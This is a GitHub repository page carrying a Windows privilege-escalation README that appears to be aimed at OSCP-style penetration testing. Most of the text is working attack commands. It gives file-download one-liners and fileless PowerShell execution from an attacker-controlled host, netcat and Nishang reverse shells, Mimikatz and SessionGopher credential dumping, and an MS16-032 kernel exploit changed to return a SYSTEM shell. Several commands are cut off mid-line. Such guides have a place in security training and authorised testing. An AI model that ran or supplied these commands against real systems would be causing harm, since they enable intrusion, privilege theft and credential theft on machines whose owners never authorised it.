frizb / **Windows-Privilege-Escalation**

Windows Privilege Escalation Techniques and Scripts

#windows-enumeration #windows-privilege-escalation #kali-linux #oscp #windows-hacking #windows-scripts

67 commits | **1** branch | **0** releases | **1** contributor | BSD-3-Clause

Branch: **master** | **New pull request** | **Find File** | **Clone or download**

frizb Update README.md ... Latest commit 2d42e62 15 days ago

CopyAndPasteEnum.bat	Rename CopyAndPasteVersion.bat to CopyAndPasteEnum.bat	2 years ago
CopyAndPasteFileDownloader.bat	Update CopyAndPasteFileDownloader.bat	a year ago
LICENSE.md	Update LICENSE.md	2 years ago
README.md	Update README.md	15 days ago
RemoteDesktop.md	Create RemoteDesktop.md	a year ago
ReverseShell.ps1	Create ReverseShell.ps1	5 months ago
enumeration.md	Update enumeration.md	2 years ago
runas.ps1	Create runas.ps1	5 months ago
simple.php	Update simple.php	4 months ago
windows_recon.bat	Add files via upload	2 years ago
winreconstreamline.bat	Update winreconstreamline.bat	7 months ago

README.md

Windows-Privilege-Escalation

Here is my step-by-step windows privlege escalation methodology. This guide assumes you are starting with a very limited shell like a webshell, netcat reverse shell or a remote telnet connection.

First things first and quick wins

Do some basic enumeration to figure out who we are, what OS this is, what privs we have and what patches have been installed.

```
whoami
net user <username>
systeminfo
net config Workstation
net users
```

What is running on the machine? If we are able to run WMIC we can pull rich details on the services and applications running:

```
wmic service list full > services.txt
```

```
wmic process > processes.txt
```

Or alternatively:

```
tasklist > processes.txt
```

Has a Windows Auto-login Password been set?

```
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
```

Dump a tree of all the folders / files on the HDD

```
tree c:\ > c:\users\public\folders.txt
```

or for a list of files:

```
dir /s c:\ > c:\users\public\files.txt
```

Uploading files to the Windows machine

Sometimes we will want to upload a file to the Windows machine in order to speed up our enumeration or to privilege escalate. Often you will find that uploading files is not needed in many cases if you are able to execute PowerShell that is hosted on a remote webserver (we will explore this more in the upgrading Windows Shell, Windows Enumeration and Windows Exploits sections). Uploading files increased the chances of being detected by antivirus and leaves unnecssary data trail behind. We will look at 4 ways of uploading files to a remote Windows machine from Kali Linux:

1. VBScript HTTP Downloader
2. PowerShell HTTP Downloader
3. Python HTTP Downloader
4. FTP Downloader

NOTE There are MANY more ways to move files back and forth between a Windows machine, most can be found on the LOLBAS project: https://lolbas-project.github.io/

Most of these will require that we create a simple local webserver on our Kali box to sevre the files (NOTE: I have had issues running this command within TMUX for whatever reason... so dont run it in TMUX). I like to use the Python Simple HTTP Server:

```
root@kali:~/Documents/Exploits/WindowsPRIVZ# python -m SimpleHTTPServer 80
```

Or the Python pyftpdlib FTP Server (again don't run from TMUX):

```
apt-get install python-pyftpdlib
root@kali:~/Documents/Exploits/WindowsPRIVZ# python -m pyftpdlib -p 21
```

Uploading Files with VBScript

In my experiance, VBScript is one of the easiest methods of transfering files to a remote Windows. The only downside is that the file size you can transfer is rather limited. I often have trouble transfering anything over 1 MB using this method and have to fall back on other methods (Windows-privesc-check2.exe is much too large to transfer using this method).
First lets test to see if we can run VBScript

```
echo WScript.StdOut.WriteLine "Yes we can run vbscript!" > testvb.vbs
```

Now we run it to see the results:

```
cscript testvb.vbs
```

If you see the following message, we are good to go with VBScript!:

```
C:\Users\Test>cscript testvb.vbs
Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corporation. All rights reserved.

Yes we can run vbscript!
```

If you see the following messages, you should move on to PowerShell:

```
C:\temp>cscript testvb.vbs
This program is blocked by group policy. For more information, contact your system administrator.
C:\temp>testvb.vbs
Access is denied.
```

Now we can create a very simple downloader script by copying and pasting this single line of code into your windows commandline. I have tried to create a VBS script to download files from a remote webserver with the least possible number of lines of VBS code and I believe this is it. If Windows is an older version of windows (Windows 8 or Server 2012 and below) use the following script:

```
CMD C:\> echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")  > dl.vbs &echo dim bStrm: Set
bStrm = createobject("Adodb.Stream")  >> dl.vbs &echo xHttp.Open "GET", WScript.Arguments(0), False  >>
dl.vbs &echo xHttp.Send >> dl.vbs & echo bStrm.type = 1 >> dl.vbs &echo bStrm.open >> dl.vbs & echo
bStrm.write xHttp.responseBody >> dl.vbs &echo bStrm.savetofile WScript.Arguments(1), 2 >> dl.vbs
```

If Windows is a newer version (Windows 10 or Server 2016), try the following code:

```
CMD C:\> echo dim xHttp: Set xHttp = CreateObject("MSXML2.ServerXMLHTTP.6.0")  > dl.vbs &echo dim bStrm:
Set bStrm = createobject("Adodb.Stream")  >> dl.vbs &echo xHttp.Open "GET", WScript.Arguments(0), False
>> dl.vbs &echo xHttp.Send >> dl.vbs &echo bStrm.type = 1 >> dl.vbs &echo bStrm.open >> dl.vbs &echo
bStrm.write xHttp.responseBody >> dl.vbs &echo bStrm.savetofile WScript.Arguments(1), 2 >> dl.vbs
```

Now try to download a file to the local path:

```
CMD C:\> cscript dl.vbs "http://10.10.10.10/archive.zip" ".\archive.zip"
```

Uploading Files with CertUtil.exe

I've found that CertUtil can be quite reliable when all else seems to fail.

```
certutil.exe -urlcache -split -f http://10.10.10.10/exploit.exe
```

Uploading Files with PowerShell

Test to see if we can run Powershell:

```
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -Execut
```

Test to see if we can run Powershell Version 2:

```
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 2 -NoProfile -InputFormat N
```

Try to download a file from a remote server to the windows temp folder from the Windows command line:

```
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -Execut
```

Or from a PowerShell... shell:

```
PS C:\> IEX(New-Object System.Net.WebClient).DownloadFile(\"http://10.10.10.10/exploit.exe\", \"C:\\Users\\P
```

Uploading Files with Python

Sometimes a Windows machine will have development tools like Python installed. Check for python

```
python -h
```

Download a file using Python:

```
python -c "import urllib.request; urllib.request.urlretrieve('http://10.10.10.10/cat.jpg', 'C:\\Users
\\Public\\Downloads\\cat.jpg');"
```

Uploading Files with Perl

Sometimes a Windows machine will have development tools like PERL installed. Check for PERL

```
perl -v
```

Download a file using PERL:

```
perl -le "use File::Fetch; my $ff = File::Fetch->new(uri => 'http://10.10.10.10/nc.exe'); my $file =
$ff->fetch() or die $ff->error;"
```

Uploading Files with FTP

After running the python ftp lib on (`python -m pyftpdlib -p 21`) on Kali, you can try connecting using the windows FTP client:

```
C:\Users\pwnd>ftp 10.10.10.10
Connected to 10.10.10.10
220 pyftpdlib 1.5.3 ready.
User (10.10.15.31:(none)): anonymous
331 Username ok, send password.
Password: anonymous

230 Login successful.
ftp> ls
dir
421 Active data channel timed out.
```

If you are seeing a 421 timeout when you try to send a command it is likely because your connection is being blocked by the windows firewall. The Windows command-line ftp.exe supports the FTP active mode only. In the active mode, the server has to connect back to the client to establish data connection for a file transfer.

You can check to see if the remote machine has Winscp.exe installed. Winscp is capable of connecting to an FTP server using passive mode and will not be blocked by the firewall.

Transfering Files via SMB using Impacket

Kali comes loade with the incredible Impacket library which is a swiss army knife of network protocols... just Awesome. You can easily create a SMB share on your local Kali machine and move files between Kali and Windows with ease.
https://github.com/SecureAuthCorp/impacket

First we will setup the SMB Share on Kali like so:

```
root@kali:~/smbshare# python /usr/local/bin/smbserver.py -smb2support smbshare ./
Impacket v0.9.16-dev - Copyright 2002-2017 Core Security Technologies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
```

Confirm it is up and running using Net View on the Windows command line:

```
C:\Users\Null>net view \\192.168.0.49
Shared resources at \\192.168.0.49

(null)

Share name  Type  Used as  Comment

-------------------------------------------------------------------------------
smbshare    Disk
The command completed successfully.
```

Then we can trasnfer files from the command line as if it were a normal folder:

```
C:\Users\Admin>dir \\192.168.0.49\smbshare
C:\Users\Admin>copy \\192.168.0.49\smbshare\loot.zip .
```

By far the most interesting feature of the SMB Share method is that you can execute files directly over the SMB Share without copying them to the remote machine (fileless execution is so hot right now):

```
C:\Users\Admin>\\192.168.0.49\smbshare\payload.exe
```

A fancy trick I learned from IPPSec is to create a mapped drive to a remote SMB share like so:

```
net use y: \\192.168.0.49\smbshare
y:
dir
```

Upgrading your Windows Shell

You might find that you are connected with a limited shell such as a Web shell, netcat shell or Telnet connection that simply is not cutting it for you. Here are a few oneliners you can use to upgrade your shell:

Upgrade Shell with PowerShell Nishang

Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security and post exploitation during Penetraion Tests. The scripts are written on the basis of requirement by the author during real Penetration Tests.

```
root@kali:~/test# git clone https://github.com/samratashok/nishang.git
Cloning into 'nishang'...
remote: Enumerating objects: 1612, done.
remote: Total 1612 (delta 0), reused 0 (delta 0), pack-reused 1612
Receiving objects: 100% (1612/1612), 5.87 MiB | 6.62 MiB/s, done.
Resolving deltas: 100% (1010/1010), done.
root@kali:~/test# cd nishang/
root@kali:~/test/nishang# cd Shells/
root@kali:~/test/nishang/Shells# echo Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.10 -Port 4444 >> Inv
root@kali:~/test/nishang/Shells# python -m SimpleHTTPServer 80
```

Now open up a netcat listener on Kali:

```
nc -nlvp 4444
```

And Execute the remote powershell script hosted on your Kali SimpleHTTPServer

```
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -Execut
```

Upgrade Windows Command Line with a Powershell One-liner Reverse Shell:

You can run this oneliner from the remote Windows command prompt to skip the file upload step entirely (again be sure to update the IP and port):

```
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -Execut
```

Netcat Reverseshell Oneliners for Windows

Sometimes it is helpful to create a new Netcat session from an existed limited shell, webshell or unstable (short lived) remote shell.

Windows Enumeration

NOTE There are many executables that could provide privledge escalation if they are being run by a privledged user, most can be found on the incredible LOLBAS project: https://lolbas-project.github.io/

Automated Windows Enumeration Scripts

We are also going to look a a few automated methods of performing Windows Enumeration including:

- WindownPrivEsc.exe
- Sherlock
- Watson
- JAWZ
- Seatbelt

Running Windows Privesc Check (windows-privesc-check)

The Windows Privesc Check is a very powerful tool for finding common misconfigurations in a Windows system that could lead to privledge escalation. It has not been updated for a while, but it is still as effective today as it was 5 years ago. The downside of this script is that it was written in Python and if the target system does not have Python installed, you will need to use an executable version that has a Python interpreter built in. Having to include Python in the package makes the executable version is pretty large, coming in at a whopping 7.14 MB!!

First we will need to clone the latest version to our environment:

```
root@kali:~/tools# git clone https://github.com/pentestmonkey/windows-privesc-check
Cloning into 'windows-privesc-check'...
remote: Enumerating objects: 1232, done.
remote: Total 1232 (delta 0), reused 0 (delta 0), pack-reused 1232
Receiving objects: 100% (1232/1232), 34.79 MiB | 4.61 MiB/s, done.
Resolving deltas: 100% (897/897), done.
```

Next we will need to setup a simple python HTTP webserver in Kali to host the file which the remote Windows box can download it from:

```
root@kali:~/tools# cd windows-privesc-check/
root@kali:~/tools/windows-privesc-check# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
```

Now we will need to transfer the file to our remote windows box:

```
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None
-ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile(\"http://10.10.10.10
/windows-privesc-check2.exe\", \"C:\\Users\\Public\\Downloads\\windows-privesc-check2.exe\");
```

And now we run the executeable on the remote machine. I like run with all the audit enabled like so:

```
C:\Users\Admin>cd ..
```

```
C:\Users>cd Public
C:\Users\Public>cd Downloads
C:\Users\Public\Downloads>windows-privesc-check2.exe --audit -a -o report
windows-privesc-check v2.0svn198 (http://pentestmonkey.net/windows-privesc-check)...
```

The windows-privesc-check will create a detailed HTML report and text based report for your review.

Running Sherlock

Sherlock is a powershell library with a number of privledge escalation checkers built in. We can stage and run sherlock on a remote http server so the file never needs to hit the remote server's HDD.

```
root@kali:~test# git clone https://github.com/rasta-mouse/Sherlock.git
Cloning into 'Sherlock'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 75 (delta 0), reused 2 (delta 0), pack-reused 72
Unpacking objects: 100% (75/75), done.
root@kali:~test# cd Sherlock/
root@kali:~test/Sherlock# ls
LICENSE  README.md  Sherlock.ps1
root@kali:~test/Sherlock# echo Find-AllVulns >> Sherlock.ps1
root@kali:~test/Sherlock# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
```

Now we can run this from the remote Windows CMD shell:

```
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -Execut
```

Or from a Windows Powershell:

```
PS C:\> IEX(New-Object Net.Webclient).downloadString('http://10.10.10.10/Sherlock.ps1')
```

Running Watson

Sherlock has been superceded by a .net Windows enumeration platform called Watson which is frequently updated by the author. It is a bit tricker to deploy and use as you need to compile it yourself and match the version of .net with the target system's version.

First, on the target system we will need to check the versions of .Net that have been installed by navigating to the .net framework folder and poking around:

```
cd\Windows\Microsoft.NET\Framework\
dir /s msbuild
```

Only active versions of .NET will have the msbuild.exe. Make note of the available versions and leverage that to compile your version of Watson that targets the remote Windows machine. Download the latest version of Watson from github:

```
git clone https://github.com/rasta-mouse/Watson.git
```

And open it using Visual Studio. In the Solution Explorer, click the Properties and modify the "Target Framework:" value to align with the remote Windows machine's version of the .Net framework. It will prompt you to reopen the project. Once the project has reloaded, Build the project under the Release mode (CTRL + SHIFT + B).

Next we will copy our Watson.exe to our Kali instance and setup a simple python HTTP webserver in Kali to host the file which the remote Windows box can download it from:

```
root@kali:~/tools# cd Watson/
root@kali:~/tools/Watson# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
```

Now we will need to transfer the compiled Watson.exe file to our remote windows box:

```
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None
-ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile(\"http://10.10.10.10
/Watson.exe\", \"C:\\Users\\Public\\Downloads\\Watson.exe\");
```

And now we run the executeable on the remote machine. I like run with all the audit enabled like so:

```
C:\Users\Admin>cd ..
C:\Users>cd Public
C:\Users\Public>cd Downloads
C:\Users\Public\Downloads>Watson.exe
```

Running JAWS - Just Another Windows (Enum) Script

JAWS is another powershell library that was built with privledge escalation of the OSCP lab machines in mind. We can stage and run JAWS on a remote http server so the file never needs to hit the remote server's HDD.

```
root@kali:~test# git clone https://github.com/411Hall/JAWS
```

Now we can run this from the remote Windows CMD shell:

```
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -Execut
```

Or from a Windows Powershell:

```
PS C:\> IEX(New-Object Net.Webclient).downloadString('http://10.10.10.10/jaws-enum.ps1')
```

And we should see the following output start to appear:

```
Running J.A.W.S. Enumeration
        - Gathering User Information
        - Gathering Processes, Services and Scheduled Tasks
        - Gathering Installed Software
```

Fireeye Session Gopher

Leveraging credentials is still the most common ways of privledge escalation in Windows environments. Session Gopher is a PowerShell script designed to automaticlly harvest credentials from commonly used applications.

To run Session Gopher, we will first need to pull down the latest version from the Fireeye github repository:

```
git clone https://github.com/fireeye/SessionGopher
Cloning into 'SessionGopher'...
remote: Enumerating objects: 48, done.
Unpacking objects: 100% (48/48), done.
remote: Total 48 (delta 0), reused 0 (delta 0), pack-reused 48
```

Next we can serve it up on our local KALI instance by using the simple python HTTP server:

```
root@kali:~/tools# cd SessionGopher/
root@kali:~/tools/SessionGopher# ls
README.md  SessionGopher.ps1
root@kali:~/tools/SessionGopher# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
```

Finally we can file-lessly execute it from our remote Windows shell:

```
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None
-ExecutionPolicy Bypass -Command "iex ((New-Object
System.Net.WebClient).DownloadString('http://10.10.10.10/SessionGopher.ps1')); Invoke-SessionGopher
-Thorough"
```

Or from a Windows Powershell:

```
PS C:\> IEX(New-Object Net.Webclient).downloadString('http://10.10.10.10/SessionGopher.ps1')
```

Or we can download and run it:

```
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -Execut
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -Execut
```

Running Mimikatz

Mimikatz is a Windows post-exploitation tool written by Benjamin Delpy (@gentilkiwi). It allows for the extraction of plaintext credentials from memory, password hashes from local SAM/NTDS.dit databases, advanced Kerberos functionality, and more.
https://github.com/gentilkiwi/mimikatz

Running traditional (binary) Mimikatz

The original and most frequently updated version of Mimikatz is the binary executable which can be found here:
https://github.com/gentilkiwi/mimikatz/releases

First we will need to download a Mimikatz binary and copy it to the remote machine

```
root@kali:~/test# wget https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20180925
/mimikatz_trunk.zip
--2018-10-16 15:14:49--  https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20180925
/mimikatz_trunk.zip
root@kali:~/test# unzip mimikatz_trunk.zip
```

Now we will need to copy the 3 files (win32 or x64 depending on the OS) required to run Mimikatz to the remote server.

```
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None
-ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile(\"http://10.10.10.10
/mimidrv.sys\", \"C:\\Users\\Public\\Downloads\\mimidrv.sys\"); (New-Object
System.Net.WebClient).DownloadFile(\"http://10.10.10.10/mimikatz.exe\", \"C:\\Users\\Public\\Downloads
\\mimikatz.exe\"); (New-Object System.Net.WebClient).DownloadFile(\"http://10.10.10.10/mimilib.dll\",
\"C:\\Users\\Public\\Downloads\\mimilib.dll\")"
```

Now, if we dont have an overly interactive shell, we will want to execute Mimikatz without the built in CLI by passing the correct parameters to the executable. We use the log parameter to also log the clear password results to a file (just in case we are unable to see the output).

```
mimikatz log version "sekurlsa::logonpasswords" exit
```

Otherwise we can use the Mimikatz shell to get the passwords:

```
mimikatz.exe
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
```

Running Powershell Mimikatz

The Powershell version is not as frequently updated, but can be loaded into memory without ever hitting the HDD (Fileless execution). This version simply reflectively loads the Mimikatz binary into memory so we could probably update it ourselves without much difficulty.

```
wget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-
Mimikatz.ps1
```

Fileless execution of Mimikatz from remotely hosted server:

```
PS C:\> IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.10.10/Invoke-Mimikatz.ps1') ;
Invoke-Mimikatz -DumpCreds
```

Windows Kernel Exploits

MS16-032

If the remote machine appears to be vulnerable to MS16-032, we can execute a powershell script from a remote server to exploit it.

```
Title      : Secondary Logon Handle
MSBulletin : MS16-032
CVEID      : 2016-0099
Link       : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable
```

Get the Powershell script from FuzzySecurity's Github, add an invoke to the end of the script and share the folder using the python SimpleHTTPServer:

```
root@kali:~test# git clone https://github.com/FuzzySecurity/PowerShell-Suite.git
Cloning into 'PowerShell-Suite'...
remote: Enumerating objects: 378, done.
remote: Total 378 (delta 0), reused 0 (delta 0), pack-reused 378
Receiving objects: 100% (378/378), 5.94 MiB | 2.06 MiB/s, done.
Resolving deltas: 100% (179/179), done.
root@kali:~test# cd PowerShell-Suite/
root@kali:~test/PowerShell-Suite# echo Invoke-MS16-032 >> Invoke-MS16-032.ps1
root@kali:~test/PowerShell-Suite# python -m Simple
SimpleDialog        SimpleHTTPServer    SimpleXMLRPCServer
root@kali:~test/PowerShell-Suite# python -m SimpleHTTPServer 80
```

The default version of the MS16-032 script will create a Pop-up CMD.exe window on the remote machine. Unfortunatly, we cannot access this from a limited shell... BUT we can modify the exploit to call a reverse shell. Its pretty easy to modify it to call a reverse powershell that will connect back to our machine with a System shell. We will need to modify line 330 of the exploit (the ip address and port will need to be updated of course):

```
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
#$CallResult = [Advapi32]::CreateProcessWithLogonW(
#       "user", "domain", "pass",
#       0x00000002, "C:\Windows\System32\cmd.exe", "",
#       0x00000004, $null, $GetCurrentPath,
#       [ref]$StartupInfo, [ref]$ProcessInfo)

# Modified to create a Powershell reverse shell
$CallResult = [Advapi32]::CreateProcessWithLogonW(
        "user", "domain", "pass",
        0x00000002,
        'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe',
        '-NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "&{$client = New-Obje
        0x00000004, $null, $GetCurrentPath,
        [ref]$StartupInfo, [ref]$ProcessInfo)
```

On the remote host execute the exploit:

```
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -Execut
```

Or from a Windows Powershell:

```
PS C:\> IEX(New-Object Net.Webclient).downloadString('http://10.10.10.10/Invoke-MS16-032.ps1')
```

Or if you wanted to upload the exploit, you can always run it like this:

```
PS C:\> powershell -ExecutionPolicy ByPass -command "& { . C:\Users\Public\Invoke-MS16-032.ps1; Invoke-MS16-
```

On our Kali machine we create the reverse shell and ... BOOM! Root dance.

```
root@kali:~# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.10.11] from (UNKNOWN) [10.10.10.10] 49182

PS C:\Users\jimmy^> whoami
nt authority\system
```

Windows Run As

Prior to successfully performing a Windows run as, we of course need a valid windows username and password. Here is a oneliner powershell script to verify a username / password is valid on the local system:

Requires .Net 3.5

```
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -Execut
```

Requires .Net 2.0

```
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -Execut
```

Switching users in linux is trival with the SU command. However, an equivalent command does not exist in Windows. Here are 3 ways to run a command as a different user in Windows.

Sysinternals psexec is a handy tool for running a command on a remote or local server as a specific user, given you have thier username and password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Psexec (on a 64 bit system).

```
C:\>psexec64 \\COMPUTERNAME -u Test -p test -h "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe"
PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
```

Runas.exe is a handy windows tool that allows you to run a program as another user so long as you know thier password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Runas.exe:

```
C:\>C:\Windows\System32\runas.exe /env /noprofile /user:Test "c:\users\public\nc.exe -nc 192.168.1.10 4444
Enter the password for Test:
Attempting to start nc.exe as user "COMPUTERNAME\Test" ...
```

PowerShell can also be used to launch a process as another user. The following simple powershell script will run a reverse shell as the specified username and password.

```
$username = '<username here>'
$password = '<password here>'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Start-Process -FilePath C:\Users\Public\nc.exe -NoNewWindow -Credential $credential -ArgumentList ("-nc","1
```

Next run this script using powershell.exe:

```
CMD C:\> powershell -ExecutionPolicy ByPass -command "& { . C:\Users\public\PowerShellRunAs.ps1; }"
```

Other files

Here are few other handy scripts and things...

CopyAndPasteFileDownloader.bat

Windows file transfer script that can be pasted to the command line. File transfers to a Windows machine can be tricky without a Meterpreter shell. The following script can be copied and pasted into a basic windows reverse and used to transfer files from a web server (the timeout 1 commands are required after each new line)

CopyAndPasteEnum.bat

No File Upload Required Windows Privlege Escalation Basic Information Gathering (based on the fuzzy security tutorial). Copy and paste the following contents into your remote Windows shell in Kali to generate a quick report

enumeration.md

Basic notes on Windows Enumeration from the OSCP.

windows_recon.bat

An uploadable batch file for performing basic windows enumeration.

References

https://medium.com/@hakluke
https://daya.blog/2018/01/06/windows-privilege-escalation/
https://pentestlab.blog/2017/04/19/stored-credentials/
https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/
https://www.abatchy.com/
https://gist.github.com/egre55
https://github.com/egre55/ultimate-file-transfer-list
https://lolbas-project.github.io/
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
https://github.com/GhostPack/Seatbelt
https://github.com/rasta-mouse/Watson http://hackingandsecurity.blogspot.com/2017/09/oscp-windows-priviledge-escalation.html
https://blog.ropnop.com/transferring-files-from-kali-to-windows/#smb